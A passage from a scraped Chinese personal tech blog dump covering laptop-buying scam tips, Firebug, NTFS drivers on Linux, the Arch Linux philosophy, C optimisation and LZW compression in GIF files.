问了，就买吧，呵呵，那你就中招了．因为你对这款价格不了解，可以想像，经过这种转型而来产生的利润，绝对是暴力了，用我们行话来说，至少有1毛（1 毛＝1000元）．如果你确实喜欢上了销售员推荐的新款，那么对付这招也很简单，不管销售员怎么向你保证价格是最低了．一定要拉下面子出去再问问价格，问 了你就知道，你这样做是绝对有价值的．呵呵．很多厉害的销售员就吃准了客户不好意思的心理，让你不好意思走出他的店，那么，你自己也成为被宰的对象了．如 果你出去问了，发现之前那个给你改型号的销售员价格比较合理，那么恭喜你，你遇到了非常少见讲诚信的销售员，还等什么呢？就在这买吧．\n\u0026nbsp;\n第二：问价格有也有讲究，如果你一开始就问一款机子大概的型号，比如，华硕的 A8，你只说了A8两个字，那么，你问到的价格，多半是非常高的．因为这种情况下销售员肯定要报高价的，如果你说价格太高，他们也会说有很多种型号呢，配 置多呢，我报的是ＸＸ配置，那你就没话说了．正确的问价方式是：报出精准的型号，如：A8H73SC-SL当你这样一问，做为销售员，就知道你是了解的非 常清楚了，不然不会报出这么准确的型号，那么，他们也不敢胡乱报价了．这样你问到的价格就是非常实际的．而不是毫无意义的乱报的价格．\n\u0026nbsp;\n第三：不要为突然问到一个非常超低的让你感到脸发热心乱跳的超低价而激动不已，呵呵，事实上，很多销售员是这么干的，你要买这款机子是吧？了解一下 价格，哦，我没钱赚，怎么办呢？转型啊，怎么转呢？第一步就是先给你报个超超低价，你一听，开心啊，激动啊，这么低的价格，不禁对这位销售员好感倍增．那 么，你看好了，他第二步，肯定会说以前你看中的那个机子怎么怎么不适合你，我现在这款怎么怎么合适你．呵呵，记住哦，如果真的看中他新推荐的这一款，一定 要出去多问几家，如果你不改变主意了，就不要浪费你时间了，让他拿货吧，多半是拿不出来的，因为他报的价格是低于成本报的，压根就没打算卖给你，结果浪费 了你宝贵的时间，所以，我的忠告是：不要在报价最低的那一家买．你多半只会收获失望．\n\u0026nbsp;\n第四：对自己看好的配置一定要了解清楚．如果不懂，就找个懂的（怕就怕不懂装懂的人来做参谋，这样的人最容易被销售员三下两下就摆平了，一定要找确实很懂的人陪你）因为销售员很会利用你不懂配置来忽悠你，明明就是一样的机子，硬说多了一个什么独立显卡啊，或者是什么炫丽屏啊之类的，让你加钱购买．这样的客户在我眼里是很可悲的．我曾经亲眼见过笔记本电脑所带的电池居然也被销售员单独加价两千卖掉了，不懂电脑的用户毕竟多啊．如果你清楚配置，销售员这一招自然也没用了．\n\u0026nbsp;\n第五：当然还是要了解你要购买的机子的赠品，比如，华硕有段时间，Ｓ５笔记本电脑高配版是免费送第二块电池的，当然了，如果你不知道这个信息，销售 员肯定会让你加个三五百的买第二块电池，没说的．其实像这样的促销，最简单的一点，厂家做这类促销的时候，肯定会有相关的彩页出来做宣传，你在了解电脑的 阶段时只要记的向销售员索取一份彩页，基本上就不会中这一招了．当然了，在家里上一些非常大的网站了解一下，就更好了．\n\u0026nbsp;\n第六：很多淘友在买笔记本电脑的时候，非常喜欢要一些赠品，我告诉大家，销售员在送赠品的时候，只一个原则：最便宜．所以送的基本上全是垃圾．所 以，最聪明的销售者，会先要东西，然后再跟销售员，这些东西我不要了，你给我减钱，呵呵，不要指望能减掉销售员跟你说这个值多少钱，那个值多少钱的程度， 基本上，他说值１００元的东西，成本在30元就不错了．能减多少，就看你是怎么跟销售员谈啦．\n\u0026nbsp;\n第七：很不幸，厂家没有给经销商发样机来出样，所以，你们在电脑城看到的样机，全是要当新机卖掉的．当然了，样机也不会像一般人想象的那样，非常烂 的机器，事实上，我们在为如何保护样机，可是非常用了心的．说难听点真是轻拿轻放，因为万一因为你造成样机划伤，你是要赔两百元来喷漆的．如果你真的不想 要样机，不要看包装，没用的，有些大的商家连那个封条都自己去印了．那看什么呢？两点：第一：看接口处如网卡部分，有没有进灰尘，新机子是不会有灰的．其 次，仔细看键盘里有无灰尘，表面有无划伤，特别是kinston锁孔，基本上因为考虑到防盗，这里都要锁上的，就难免有点划伤．如果这里有划伤，就可以确 定是样机了．\n\u0026nbsp;\n第八：很多销售员说要开发票就要加钱，加几个几个税点，这就纯粹是欺骗了，因为笔记本电脑进货的时候就是含税的，不可能是要另加钱的．另外，很多销 售员会说保修不用发票，只要收据就可以了．以此为借口不给你开发票只开收据．确实，保修的话，没发票也能保修．但请注意，还是有区别的．如果没有发票，保 修日期是按出厂日期来计算的，有发票，则是按发票日期来计算保修日期的．而笔记本电脑库存两个月非常正常，所以想像一下，如果你不幸在那两个月的时候，机 器坏了．．．还有一点；国家有一个法律叫＜微型计算机三包政策＞，哪三包呢？出现质量问题，七天包退，十五天包换，一年内，经两次维修仍不能正常使用的， 包换．所谓三包．而如果你要享受这三包，那前提是，你得有发票．那为什么销售员不给你开发票呢？很简章，无利不起早，他可以把本属于你的发票卖给别人来获 取利益．所以，购买整机的时候，一定要记的索取发票！\n\u0026nbsp;\n第九：可能说出来让很多人觉得人很难相信了，呵呵，但我告诉大家，以前我们那个店面，１５％的利润，都是拿回扣的人帮我们创造的．所以，如果你请熟 人帮你把关电脑，记住一个原则即可：拉下面子，自己要独立的出去问问价格．这样，你就不会被人忽悠了．所以我就不大愿意帮熟人买电脑，因为我知道这一点， 我不想背上这个骂名啊，我的方法是：你先自己出去问价格，然后我再帮你问，这样，你价格心中有底，就不会怕我拿回扣啦，呵呵．呵呵,希望经常帮朋友装机的 熊友表打我哦.毕竟热心的朋友还是占多数的.\n\u0026nbsp;\n好了，写了有半个多小时了．暂时写这么多，其实还有很多陷阱，那就下次再写吧．如果有朋友友因为电脑硬件技术不明白的，可以随时问我．最好晚上，我 时间比较多，毕竟白天我也要工作养家哦．呵呵，最后告诉大家，如果你看了我的贴还被骗了我就无语了.呵呵,另外,觉得是好贴的别忘了帮我顶一下哦,希望可 以让更多的朋友得到帮助.\n","permalink":"https://hessian.cn/p/538.html","summary":"买本必看,防商家忽悠秘籍.(希望能帮到大家我可是写了半个小时哦)希望大家能耐性的看完我的文章.\n\u0026nbsp;\n我现在从事笔记本电脑销 售业务，以前在读大一的时候卖过本子.呵呵,那就结合自己的实际情况，写一篇对各位朋友友在购买笔记本电脑时有帮助的贴子吧．而目前这个市场也确实不规 范，那么，就让我们擦亮眼睛，来看看怎么样防止电脑城形形色色的ＪＳ吧．先声明一下，电脑城绝大多数都是讲诚信的销售，包括我自己哦，但是，还是有一部 分，为了赚钱确实是不择手段了，那么，让我们一起来看一下有哪些招数吧\n","title":"买本必看,防商家忽悠秘籍"},{"content":"Firebug 1.2 Beta Recommended for Firefox 3. Firebug 1.2 focuses on performance improvements and support for Firefox 3. The 1.2 features are complete and we are actively fixing bugs. Please read the 1.2 release notes before installing.\n原来firebug首页1.1beta下载链接已经被去掉了，不知是什么原因，我猜测可能是准备发布正式版本了吧\n这个1.2是在release note上有提及，不过到是提交到了firefox addons，蛮奇怪的\n之前1.1beta大概是更新到firefox rc1之后就一直不能高亮页面可见元素，还怀疑是我系统的问题，今天同事也抱怨了这事，他的可是windows诶，看来可就不是我的问题了，稍微放心了。。呵呵，看来我的linux还是很棒的嘛。\n1.2 beta 我也刚装上 ， 未来得及测试。大家自己试试吧\n安装请到这里：https://addons.mozilla.org/zh-CN/firefox/addon/1843\n","permalink":"https://hessian.cn/p/326.html","summary":"Firebug 1.2 Beta Recommended for Firefox 3. Firebug 1.2 focuses on performance improvements and support for Firefox 3. The 1.2 features are complete and we are actively fixing bugs. Please read the 1.2 release notes before installing.\n原来firebug首页1.1beta下载链接已经被去掉了，不知是什么原因，我猜测可能是准备发布正式版本了吧\n","title":"Firefox3 已经正式发布了，Firebug新版本在哪里？"},{"content":"头像么..本来不是很在意的, 看得顺眼就是了\n虽然本来我选的那个头像比较女性化吧\u0026#8230;但实际上还是男人嘛\u0026#8230;.\n恩..换掉\u0026#8230;换什么比较男人呢?\n对\u0026#8230;枪..就它了 !!!\n","permalink":"https://hessian.cn/p/611.html","summary":"头像么..本来不是很在意的, 看得顺眼就是了\n虽然本来我选的那个头像比较女性化吧\u0026#8230;但实际上还是男人嘛\u0026#8230;.\n恩..换掉\u0026#8230;换什么比较男人呢?\n","title":"居然有人认为我是女人…失败..我要换头像!"},{"content":"Linux kernel driver The NTFS Linux kernel driver is the piece of code that allows Linux software to access NTFS Volumes.\nfast, reliable, read-only. Most people already have it.\n注： 虽然linux本身就有支持ntfs，且效率也不错，但唯一致命的缺憾却是……read-only 不可写\nNTFS-3G Stable Read/Write Driver The NTFS-3G driver is an open source read/write NTFS driver for Linux, FreeBSD, Mac OS X, NetBSD, and Haiku. It provides safe and fast handling of the Windows XP, Windows Server 2003, Windows 2000 and Windows Vista file systems. POSIX file system operations are supported, and full file ownership and permission support is available as well.\n长期以来一直用的是ntfs-3g 但是最近发现ntfs-3g虽然用起来很稳定，但cpu使用率奇高，很多时候甚至达到了50%（\n占掉了一整个核心\u0026#8230;）， 所以开始寻找新的解决方案。\nAbout ntfsmount ntfsmount (part of the ntfsprogs) is an read/write userspace NTFS driver. It provides full read-write access to NTFS, excluding writing compressed and encrypted files, changing file ownership, access right.\nIt is different from the kernel driver in the way that is resides in the user space. That means that it is a bit slower but has more features, and we love features, don\u0026#8217;t we?\n注：目前使用过程中还是有些诡异的问题，比如在我这里出现了启动时不能自动挂载，但是启动完成后手工执行mount －a 又正常，令人不解。不过总的来说，还是不错的，最起码资源占用没那么恐怖了，速度感觉有所提高。当然，这也可能是心理感觉而已，哈哈。\n","permalink":"https://hessian.cn/p/607.html","summary":"Linux kernel driver The NTFS Linux kernel driver is the piece of code that allows Linux software to access NTFS Volumes.\nfast, reliable, read-only. Most people already have it.\n注： 虽然linux本身就有支持ntfs，且效率也不错，但唯一致命的缺憾却是……read-only 不可写\n","title":"Linux: ntfs-3g or ntfs-fuse ?"},{"content":"\n究竟这个人是在顺时针还是逆时针转动呢？\n第一眼看上去，你会很笃定地下一个结论，因为一切看似很明显。但是，如果你看了别人的回帖，会发现事情并非那么简单，有人和你完全不同，而且和你一样的确信\n一、文字叙述版\n其实答案很普通, 就只是大脑自己决定而已..\n因为黑色缺少了光影的远近对比, 使黑裸体女人在侧面对你时, 无法确定\n她那时是抬起哪一只脚, 假如在侧面时脑子里是想 \u0026ldquo;抬起左脚\u0026ldquo;\n那她下个动作就是逆时针转, 如果那时候想的是 \u0026ldquo;抬起右脚\u0026rdquo;\n那么下一个动作就是顺时针脸往外转背对你, 所以不管把左脚或右脚当成支点选转都可以!\n看习惯后, 你要逆时针转或顺时针转都可以.. 自由控制^^\n重点是你要说服你的大脑去些接受!! 还有.. 有旋转的速度也是可以控制的!\n我也是一开始看是顺转, 但后来花了 2, 3 分钟才能控制逆时针或顺时针..\n如果还没办法的人, 教一下小撇步..\n*先看影子, 然后强迫自己想像顺或逆. 等到想像成功之后再往上看身体就 ok 了!!\n虽然我花了 2, 3 分钟才能自由控制看到逆或者顺, 但昨天我有朋友\n只花 10 分钟就看到左右晃而不是旋转的图..\u0026gt;\u0026rdquo;\u0026lt; 他的大脑想像结构比较强吧..\n至于说图片会偷换的这些都不是, 答案就是 \u0026ldquo;大脑错觉\u0026rdquo;..\n各位朋友可以试试看吧.. 请说服自己的大脑吧!\n二、图像说明版\n网友果酱提供了一个图片分析：\n","permalink":"https://hessian.cn/p/456.html","summary":"\n究竟这个人是在顺时针还是逆时针转动呢？\n第一眼看上去，你会很笃定地下一个结论，因为一切看似很明显。但是，如果你看了别人的回帖，会发现事情并非那么简单，有人和你完全不同，而且和你一样的确信\n一、文字叙述版\n其实答案很普通, 就只是大脑自己决定而已..\n因为黑色缺少了光影的远近对比, 使黑裸体女人在侧面对你时, 无法确定\n她那时是抬起哪一只脚, 假如在侧面时脑子里是想 \u0026ldquo;抬起左脚\u0026ldquo;\n那她下个动作就是逆时针转, 如果那时候想的是 \u0026ldquo;抬起右脚\u0026rdquo;\n那么下一个动作就是顺时针脸往外转背对你, 所以不管把左脚或右脚当成支点选转都可以!\n看习惯后, 你要逆时针转或顺时针转都可以.. 自由控制^^\n重点是你要说服你的大脑去些接受!! 还有.. 有旋转的速度也是可以控制的!\n我也是一开始看是顺转, 但后来花了 2, 3 分钟才能控制逆时针或顺时针..\n如果还没办法的人, 教一下小撇步..\n*先看影子, 然后强迫自己想像顺或逆. 等到想像成功之后再往上看身体就 ok 了!!\n虽然我花了 2, 3 分钟才能自由控制看到逆或者顺, 但昨天我有朋友\n只花 10 分钟就看到左右晃而不是旋转的图..\u0026gt;\u0026rdquo;\u0026lt; 他的大脑想像结构比较强吧..\n至于说图片会偷换的这些都不是, 答案就是 \u0026ldquo;大脑错觉\u0026rdquo;..\n各位朋友可以试试看吧.. 请说服自己的大脑吧!\n二、图像说明版\n网友果酱提供了一个图片分析：\n","title":"你能看出来女孩是左转还是右转？"},{"content":"Arch Linux 哲学 摘自：http://www.archlinux.org.cn/main/node/79?q=node/57#philosophy\nArch Linux背后的哲学，也是开发者遵循的原则就是\u0026ldquo;简单\u0026rdquo;。事实上，也就是\u0026ldquo;保持简单\u0026rdquo;。开发者们希望由于用复杂的方式做简单的事情浪费大量时间。 这就是为什么Arch的所有配置都是通过修改配置文件来完成的原因，也是为什么只有最新的系统被提供支持的原因。这也是下面将要提到的一些问题的最终决定的理由。\n这个哲学给用户们做更多的是\u0026ldquo;能力\u0026rdquo;。你的系统是你自己的。这个Linux发行版不会帮你做什么事情，它会给你做事情的\u0026ldquo;能力\u0026rdquo;。\n作为一个发行版，Arch Linux没有必要作许多事情，但是她将她需要做的事情做得很好。一个发行版的作用并不是提供软件包－－发行版所必须要提供的是一个软件包管理系统。Arch 再这方面是优秀的。她给你提供了二进包的管理工具 pacman ，也提供了源码创建软件包的 ABS。Arch提供了简单而强大的启动例程和初始化脚本。除了这些，许多的配置工作都留给了软件开发者。如果开发者开发的软件是独立运行于一个单独的目录下的话，这个软件就被放在/opt下面。如果这个软件是要被其它软件共享的，它就被放置在/usr下。这就是Arch软件包打包的方式。这样无论是对开发者还是对用户都可以保持一切简单化。如此，那些你要配置或使用到的文件被放置在程序文档中说明的地方，而不是发行版说的他们\u0026ldquo;应该\u0026rdquo;在的地方。\n使用Arch的典型方法是使用pacman安装所有的软件包，除非没有这个软件包，你可以自己制作自己的软件包。我们希望你用pacman -Syu保持你的系统是最新的，而不是选择性的升级软件包。甚至在/etc/pacman.conf使用IgnorePkg也是不被推荐的。\n你可能会按照你自己的方式对这种典型方式进行发挥，需要注意的是这样你的系统工作不正常的几率会高一些，也许会破坏你的系统。大部分问题都是来自选择性升级或进行了不正常的编译。\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;美丽的分隔线\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\nThe Arch Way From ArchWiki Jump to: navigation, search i18n Dansk English Espa\u0026#241;ol Lietuvi\u0026#353;kai Polski Português de Portugal Русский \u0026#268;esky Italiano Fran\u0026#231;ais Deutsch 繁體中文 简体中文 The following four principles comprise what is commonly referred to as the Arch Way, or the Arch Philosophy, best summarized by the acronym KISS for Keep It Simple, Stupid.\nContents [hide] 1 Simple 2 Code-correctness over convenience 3 Open 4 User-centric 5 Free Simple Many GNU/Linux distributions define themselves as \u0026ldquo;simple\u0026rdquo;. However, simplicity itself has many definitions.\nArch Linux defines simplicity as a lightweight base structure without unnecessary additions, modifications, or complications, that allows an individual user to shape the system according to their own needs. In short; an elegant, minimalist approach.\nA lightweight base structure does not mean that the base system is small. Rather, the base system is devoid of all clutter that may obscure important parts of the system, or make access to them difficult or convoluted. It has a streamlined set of configuration files that are arranged for quick access and editing, with no cumbersome graphical configuration tools that tend to hide possibilities from the user. An Arch Linux system is therefore readily configurable to the very last detail.\nOn the other hand, Arch Linux keeps the inherent complexities of a GNU/Linux system intact, while exposing them to the user at the same time. Arch Linux developers and users believe that trying to hide the complexities of a system actually results in an even more complex system, and is therefore to be avoided.\nCode-correctness over convenience The Arch Linux system places precedence upon elegance of design, rather than unnecessary automation or \u0026quot;user-friendliness\u0026quot;.\nSimplicity, elegance, code-correctness and minimalism shall always remain the reigning priorities of Arch development.\nConcepts, designs and features are generated and implemented by using the Arch Way principles as a guide, rather than bowing to external influences. The development team are resolute in their commitment to the Arch Way philosophy.\nOpen Openness goes hand in hand with simplicity, and is also one of the guiding principles of Arch Linux development.\nArch Linux uses simple tools, that are selected or built with openness of the sources and their output in mind.\nWhile openness may be overwhelming to many new GNU/Linux users, experienced Arch Linux users find it welcoming and practical. It removes all boundaries between the user and the system, giving users more control over the system, while simultaneously simplifying system maintenance.\nThe open nature of Arch Linux also implies a fairly steep learning curve, but experienced Arch Linux users tend to find the other more closed systems much more difficult to control.\nThe Openness principle extends to its community members as well. Arch Linux users are known to be very open with help and advice, as well as with package contributions to the community maintained Arch User Repository.\nUser-centric Whereas many GNU/Linux distributions attempt to be more \u0026#8216;user-friendly\u0026#8217;, Arch Linux has always been, and will always remain \u0026#8216;user-centric\u0026#8217;.\nArch Linux targets and accommodates competent GNU/Linux users by giving them full, and only full, control over the system.\nArch Linux users fully manage the system on their own. The system itself will offer little assistance, except for a simple set of maintenance tools that are designed to perfectly relay the user\u0026#8217;s commands to the system.\nThe user-centric design also implies a certain \u0026ldquo;do it yourself\u0026rdquo; approach. Rather than requesting a new feature be implemented by developers, Arch Linux users have a tendency to solve problems themselves and share the results with the community and development team \u0026#8212; a \u0026quot;Do first, then ask\u0026quot; philosophy. This is especially true for user-contributed packages found in the Arch User Repository \u0026#8212; the official Arch Linux repository for community-maintained packages.\nFree Another guiding principle of Arch Linux development is freedom of choice. The users are not only permitted to make all decisions concerning system configuration, but also get to choose what their system will *be*.\nBy keeping the system simple, Arch Linux provides the freedom to make any choice about the system.\nA freshly installed Arch Linux system contains only basic core components with no automatic configuration performed. Users are able to configure the system as they wish, from the CLI. Right from the start of the installation procedure, every component of the system is 100% transparent and accessible for instant removal or replacement by alternative components.\nThe large number of packages in the various Arch Linux repositories also support freedom of choice. Further, in comparison to other GNU/Linux distributions, the process of creating a new package is itself a simple, open, user-centric, and free process. New packages can be created easily with a little knowhow using the Arch Build System (ABS).\nAs Judd Vinet, the founder of the Arch Linux project said: \u0026quot;[Arch Linux] is what you make it.\u0026quot;\n","permalink":"https://hessian.cn/p/601.html","summary":"Arch Linux 哲学 摘自：http://www.archlinux.org.cn/main/node/79?q=node/57#philosophy\nArch Linux背后的哲学，也是开发者遵循的原则就是\u0026ldquo;简单\u0026rdquo;。事实上，也就是\u0026ldquo;保持简单\u0026rdquo;。开发者们希望由于用复杂的方式做简单的事情浪费大量时间。 这就是为什么Arch的所有配置都是通过修改配置文件来完成的原因，也是为什么只有最新的系统被提供支持的原因。这也是下面将要提到的一些问题的最终决定的理由。\n","title":"Arch Linux 哲学"},{"content":"src:http://wiki.archlinux.org/index.php/ArchLinux_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)#Arch_Linux_.E6.98.AF.E4.BB.80.E4.B9.88.3F\nArch Linux 是什么? Arch Linux 是个 针对 i686 优化的 linux 发行版。最初灵感源于 Per Lidén 开发的一个非常不错的 CRUX 发行版。\n优势 Arch 基本理念是快速、轻巧、弹性与简单。这并非华而不实的行话，他们都是事实。Arch 是为 i686 处理器优化的， 所以可以为你取得更多的cpu cycle(快速)。他相较于 RedHat 或是其他的 Linux 而言是轻巧的， 而且简单的设计使他富有弹性并且可以成为任何你想建立的系统的模型。\n特有的包管理 通过可以轻松使用的二进制包系统 \u0026#8211; pacman \u0026#8211; 一个命令就让您升级整个系统。Arch 同时也拥有一个类似 ports 的包构建系统（Arch Build System），通过它可以轻松构建软件包。它也是一个命令就可完成同步。哦，是的，您也可以用一个命令重新构建（rebuild）整个系统。所有事情都 是在一个非常简单、明了的情况下完成的。\n只要最好的 Arch Linux 的使用者和发展者也很有效率的支持维护 current 与 extra 集，让Arch Linux的软件维持在最新的稳定版。\n简单是关键 Arch 要达到的目标是简单和轻巧，我已经省去于 linux 系统无用的相关部分，比如 /usr/doc 和 info pages。按我个人经验，这些都是没多大用处的，而且真的需要时，可以从网络上获取等价的信息。Man pages 就足够了\u0026#8230;\n时髦的工具 Arch Linux 努力采用用户可以使用的更新的特性，比如 Ext3/ReiserFS 和 udev 等。Arch Linux 0.7 (Wombat) 缺省使用 2.6 的 linux 内核，而且支持 XFS/JFS。\n进一步了解 Arch 的主页在 http://www.archlinux.org/ ，在那里您可以找到 用户论坛的链接，官方文档，和所有其他 Arch 相关的东西。也可以通过阅读 Arch之道\n","permalink":"https://hessian.cn/p/375.html","summary":"src:http://wiki.archlinux.org/index.php/ArchLinux_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)#Arch_Linux_.E6.98.AF.E4.BB.80.E4.B9.88.3F\nArch Linux 是什么? Arch Linux 是个 针对 i686 优化的 linux 发行版。最初灵感源于 Per Lidén 开发的一个非常不错的 CRUX 发行版。\n优势 Arch 基本理念是快速、轻巧、弹性与简单。这并非华而不实的行话，他们都是事实。Arch 是为 i686 处理器优化的， 所以可以为你取得更多的cpu cycle(快速)。他相较于 RedHat 或是其他的 Linux 而言是轻巧的， 而且简单的设计使他富有弹性并且可以成为任何你想建立的系统的模型。\n","title":"[转]ArchLinux"},{"content":"地址：http://blog.csdn.net/quanming1119/archive/2005/08/10/450545.aspx\n华中科技大学计算机学院\n姓名：\u0026nbsp;\u0026nbsp;\u0026nbsp; 王全明\nQQ：\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 375288012\nEmail：\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; quanming1119@163.com\n目录__ 2\nC代码优化方案__ 4\n1、选择合适的算法和数据结构__ 4\n2、使用尽量小的数据类型__ 5\n3、减少运算的强度__ 5\n（1）、查表(游戏程序员必修课)_ 5\n（2）、求余运算__ 6\n（3）、平方运算__ 6\n（4）、用移位实现乘除法运算__ 6\n（5）、避免不必要的整数除法__ 8\n（6）、使用增量和减量操作符__ 8\n（7）、使用复合赋值表达式__ 8\n（8）、提取公共的子表达式__ 9\n4、结构体成员的布局__ 9\n（1）按数据类型的长度排序__ 10\n（2）把结构体填充成最长类型长度的整倍数__ 10\n（3）按数据类型的长度排序本地变量__ 10\n（4）把频繁使用的指针型参数拷贝到本地变量__ 11\n5、循环优化__ 12\n（1）、充分分解小的循环__ 12\n（2）、提取公共部分__ 13\n（3）、延时函数__ 13\n（4）、while循环和do…while循环__ 14\n（6）、循环展开__ 14\n（6）、循环嵌套__ 15\n（7）、Switch语句中根据发生频率来进行case排序__ 16\n（8）、将大的switch语句转为嵌套switch语句__ 17\n（9）、循环转置__ 18\n（10）、公用代码块__ 19\n（11）提升循环的性能__ 19\n（12）、选择好的无限循环__ 20\n6、提高CPU的并行性__ 21\n（1）使用并行代码__ 21\n（2）避免没有必要的读写依赖__ 22\n7、循环不变计算__ 23\n8、函数__ 24\n（1）Inline函数__ 24\n（2）不定义不使用的返回值__ 24\n（3）减少函数调用参数__ 24\n（4）所有函数都应该有原型定义__ 24\n（5）尽可能使用常量(const)_ 25\n（6）把本地函数声明为静态的(static)_ 25\n9、采用递归__ 25\n10、变量__ 25\n（1）register变量__ 25\n（2）、同时声明多个变量优于单独声明变量__ 26\n（3）、短变量名优于长变量名，应尽量使变量名短一点__ 26\n（4）、在循环开始前声明变量__ 26\n11、使用嵌套的if结构__ 26\n","permalink":"https://hessian.cn/p/461.html","summary":"地址：http://blog.csdn.net/quanming1119/archive/2005/08/10/450545.aspx\n华中科技大学计算机学院\n姓名：\u0026nbsp;\u0026nbsp;\u0026nbsp; 王全明\nQQ：\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 375288012\n","title":"[推荐]C代码优化方案"},{"content":"src:http://www.cnblogs.com/jillzhang/archive/2006/11/06/551298.html\n\u0026nbsp;\u0026nbsp; 我希望通过本文的介绍，能给那些目前不太了解lzw算法和该算法在gif图像中应用，但渴望了解它的人一些启发和帮助。抛砖引玉而已，更希望园子里面兄弟提出宝贵的意见。\n1.LZW的全称是什么?\n\u0026nbsp;\u0026nbsp; Lempel-Ziv-Welch (LZW).\n2. LZW的简介和压缩原理是什么？\n\u0026nbsp;\u0026nbsp; LZW压缩算法是一种新颖的压缩方法，由Lemple-Ziv-Welch 三人共同创造，用他们的名字命名。它采用了一种先进的串表压缩，将每个第一次出现的串放在一个串表中，用一个数字来表示串，压缩文件只存贮数字，则不存贮 串，从而使图象文件的压缩效率得到较大的提高。奇妙的是，不管是在压缩还是在解压缩的过程中都能正确的建立这个串表，压缩或解压缩完成后，这个串表又被丢 弃。\n\u0026nbsp;\u0026nbsp; LZW算法中，首先建立一个字符串表，把每一个第一次出现的字符串放入串表中，并用一个数字来表示，这个数字与此字符串在串表中的位置有关，并将这个数字 存入压缩文件中，如果这个字符串再次出现时，即可用表示它的数字来代替，并将这个数字存入文件中。压缩完成后将串表丢弃。如\u0026quot;print\u0026quot; 字符串，如果在压缩时用266表示，只要再次出现，均用266表示，并将\u0026quot;print\u0026quot;字符串存入串表中，在图象解码时遇到数字266，即可从串表中查出 266所代表的字符串\u0026quot;print\u0026quot;，在解压缩时，串表可以根据压缩数据重新生成。\n3.在详细介绍算法之前，先列出一些与该算法相关的概念和词汇\n\u0026nbsp;\u0026nbsp; 1)\u0026#8217;Character\u0026#8217;: 字符，一种基础数据元素，在普通文本文件中，它占用1个单独的byte，而在图像中，它却是 一种代表给定像素颜色的索引值。\n\u0026nbsp;\u0026nbsp; 2)\u0026#8217;CharStream\u0026#8217;：数据文件中的字符流。\n\u0026nbsp;\u0026nbsp; 3)\u0026#8217;Prefix\u0026#8217;:前缀。如这个单词的含义一样，代表着在一个字符最直接的前一个字符。一个前缀字符长度可以为0,一个prefix和一个character可以组成一个字符串(string),\n\u0026nbsp;\u0026nbsp; 4)\u0026#8217;Suffix\u0026#8217;: 后缀，是一个字符，一个字符串可以由(A,B)来组成，A是前缀,B是后缀,当A长度为0的时候，代表Root，根\n\u0026nbsp;\u0026nbsp; 5)\u0026#8217;Code:码,用于代表一个字符串的位置编码\n\u0026nbsp;\u0026nbsp; 6)\u0026#8217;Entry\u0026#8217;，一个Code和它所代表的字符串(string)\n4.压缩算法的简单示例，不是完全实现LZW算法，只是从最直观的角度看lzw算法的思想\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 对原始数据ABCCAABCDDAACCDB进行LZW压缩\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 原始数据中，只包括4个字符(Character),A,B,C,D,四个字符可以用一个2bit的数表示，0-A,1-B,2-C,3-D,从最直观的角度看，原始字符串存在重复字符：ABCCAABCDDAACCDB，用4代表AB,5代表CC，上面的字符串可以替代表示为:45A4CDDAA5DB,这样是不是就比原数据短了一些呢！\n5.LZW算法的适用范围\n\u0026nbsp;\u0026nbsp; 为了区别代表串的值(Code)和原来的单个的数据值(String)，需要使它们的数值域不重合，上面用0-3来代表A-D,那么AB就必须用大于3的 数值来代替，再举另外一个例子，原来的数值范围可以用8bit来表示，那么就认为原始的数的范围是0～255，压缩程序生成的标号的范围就不能为 0～255（如果是0-255，就重复了）。只能从256开始，但是这样一来就超过了8位的表示范围了，所以必须要扩展数据的位数，至少扩展一位，但是这样不是增加了1个字符占用的空间了么？但是却可以用一个字符代表几个字符，比如原来255是8bit,但是现在用256来表示254，255两个数，还是划得来的。从这个原理可以看出LZW算法的适用范围是原始数据串最好是有大量的子串多次重复出现，重复的越多，压缩效果越好。反之则越差，可能真的不减反增了。\n6.LZW算法中特殊标记\n\u0026nbsp;\u0026nbsp; 随着新的串(string)不断被发现，标号也会不断地增长，如果原数据过大，生成的标号集（string table)会越来越大，这时候操作这个集合就会产生效率问题。如何避免这个问题呢?Gif在采用lzw算法的做法是当标号集足够大的时候，就不能增大 了，干脆从头开始再来，在这个位置要插入一个标号，就是清除标志CLEAR，表示从这里我重新开始构造字典，以前的所有标记作废，开始使用新的标记。\n这时候又有一个问题出现，足够大是多大？这个标号集的大小为比较合适呢？理论上是标号集大小越大，则压缩比率就越高，但开销也越高。 一般根据处理速度和内存空间连个因素来选定。GIF规范规定的是12位，超过12位的表达范围就推倒重来，并且GIF为了提高压缩率，采用的是变长的字 长。比如说原始数据是8位，那么一开始，先加上一位再说，开始的字长就成了9位，然后开始加标号，当标号加到512时，也就是超过9为所能表达的最大数据 时，也就意味着后面的标号要用10位字长才能表示了，那么从这里开始，后面的字长就是10位了。依此类推，到了2^12也就是4096时，在这里插一个清 除标志，从后面开始，从9位再来。\nGIF规定的清除标志CLEAR的数值是原始数据字长表示的最大值加1，如果原始数据字长是8，那么清除标志就是256，如果原始数据字长为4那么就是16。另外GIF还规定了一个结束标志END，它的值是清除标志CLEAR再加1。由于GIF规定的位数有1位（单色图），4位（16色）和8位（256色），而1位的情况下如果只扩展1位，只能表示4种状态，那么加上一个清除标志和结束标志就用完了，所以1位的情况下就必须扩充到3位。其它两种情况初始的字长就为5位和9位。此处参照了http://blog.csdn.net/whycadi/\n7.用lzw算法压缩原始数据的示例分析\n\u0026nbsp;\u0026nbsp; 输入流，也就是原始的数据为:255,24,54,255,24,255,255,24,5,123,45,255,24,5,24,54\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\n\u0026nbsp;\u0026nbsp; 这个正好可以看到是gif文件中像素数组的一部分，如何对它进行压缩\n\u0026nbsp;\u0026nbsp; 